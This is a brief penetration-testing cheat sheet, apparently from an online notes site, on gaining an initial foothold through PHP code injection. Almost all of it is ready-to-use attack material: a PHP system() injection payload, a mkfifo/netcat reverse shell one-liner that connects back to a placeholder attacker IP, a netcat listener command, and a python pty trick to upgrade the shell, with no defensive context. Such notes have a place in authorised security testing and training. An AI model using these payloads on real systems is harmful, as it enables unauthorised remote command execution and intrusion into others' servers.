๐Ÿ”Exploit - Initial Foothold

Code Injection (PHP)

  • <?php system('id'); ?>

<?php system('id'); ?>
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKING IP> <LISTENING PORT) >/tmp/f")?>

Reverse Shell Cheat Sheets

Netcat (Listener)

  • netcat -lvnp <port>

Fully Interactive TTY

Upgrade shell to a fully interactive TTY. Execute the following python code to spawn a pseudo-terminal

  • python3 -c 'import pty; pty.spawn("/bin/bash")'

Last updated